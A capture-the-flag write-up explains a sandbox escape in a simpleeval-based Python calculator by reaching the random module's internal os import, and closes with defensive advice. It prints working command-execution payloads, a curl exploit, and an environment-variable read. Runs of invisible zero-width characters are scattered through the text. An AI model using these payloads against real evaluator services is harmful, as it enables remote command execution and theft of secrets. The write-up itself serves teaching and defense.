← Back to Writeups
CUSTOMMediumWeb

Soviet

XESXOR9/10/20263 min read
#web#custom#medium#na#linux

Soviet

Platform: alfactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-21 | Status: Solved Techniques: NA

Summary

Task: Python calculator using simpleeval library with random module exposed. Solution: Exploited that random module imports os as _os internally, and name resolution (_eval_name) does not check underscore prefix unlike attribute access (_eval_attribute).

Soviet — AlfaCTF

Description

На горизонте всплывает огромный баннер: «Вам нужен всего лишь простой советский...». О чём именно речь — непонятно. Но реклама преследует вас по всему острову и не даёт наслаждаться видами.

Обычный крестик не работает — ох уж эти чёрные паттерны... или красные? Раскопайте, как отключается назойливая реклама советского магазина, пока всё небо не покрылось всплывающими окнами.

Target: https://soviet-ka5d04kx.alfactf.ru/

Analysis

Source Code

The application is a "Soviet Store" with a calculator that uses the simpleeval library for "safe" expression evaluation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

config.py — Allowed Functions Definition

python
import math
import random

def get_allowed_functions():
    functions = {
        **{fname: func for fname, func in math.__dict__.items() if not fname.startswith('__')},
        **{fname: func for fname, func in random.__dict__.items() if not fname.startswith('__')},
    }
    return functions

Problem: The filter only excludes attributes starting with __ (double underscore). But the random module internally imports os as _os:

python
# In random.py source code
import os as _os

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Thus, _os (the os module!) ends up in the allowed functions!

action.py — Using simpleeval

python
from simpleeval import EvalWithCompoundTypes
from config import get_allowed_functions

def safe_eval(expression):
    evaluator = EvalWithCompoundTypes(functions=get_allowed_functions())
    return evaluator.eval(expression)

safeCalc.py — Attribute Checking

The custom class has an _eval_attribute() method that checks for forbidden prefixes:

python
def _eval_attribute(self, node):
    # Check for forbidden attributes
    if node.attr.startswith('_'):
        raise NameError(f"Attribute '{node.attr}' is not allowed")
    ...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical vulnerability: The _ prefix check exists only in _eval_attribute() for attribute access via dot notation (e.g., obj.attr). But the _eval_name() method, which resolves variable/function names, does NOT check prefixes!

Difference Between Name and Attribute in AST

python
# Name node - variable/function name resolution
_os           # -> _eval_name() - NO check for _

# Attribute node - object attribute access  
random._os    # -> _eval_attribute() - HAS check for _

Dockerfile — Flag Location

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

dockerfile
COPY how_to_block_ads.txt /how_to_block_ads.txt

Solution

Exploitation

  1. Calculator is available at /calculator
  2. Expressions are sent via POST request to /
  3. Use _os directly as a name (not as an attribute), bypassing the check

Payload

_os.popen('cat /how_to_block_ads.txt').read()

Exploit

bash
curl -s "https://soviet-ka5d04kx.alfactf.ru/" -X POST \
  --data-urlencode "calc=_os.popen('cat /how_to_block_ads.txt').read()"

Response

json
{"result":"alfa{REDACTED}\n"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Techniques

  1. simpleeval sandbox escape — bypassing "safe" eval restrictions
  2. Python module internals — using internal module imports
  3. Name vs Attribute resolution — difference in security checks

Alternative Payloads

python
# Reading files
_os.popen('ls -la /').read()
_os.popen('id').read()

# Via environ
_os.environ.get('FLAG')

Defense

  1. Whitelist instead of blacklist — explicitly specify allowed functions
  2. Check all access methods — both name resolution and attribute access
  3. Don't use modules with dangerous imports — random contains _os
  4. Use RestrictedPython — a stricter sandbox ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
# Safe variant
ALLOWED_FUNCTIONS = {
    'sin': math.sin,
    'cos': math.cos,
    'sqrt': math.sqrt,
    # Explicit whitelist without automatic import
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍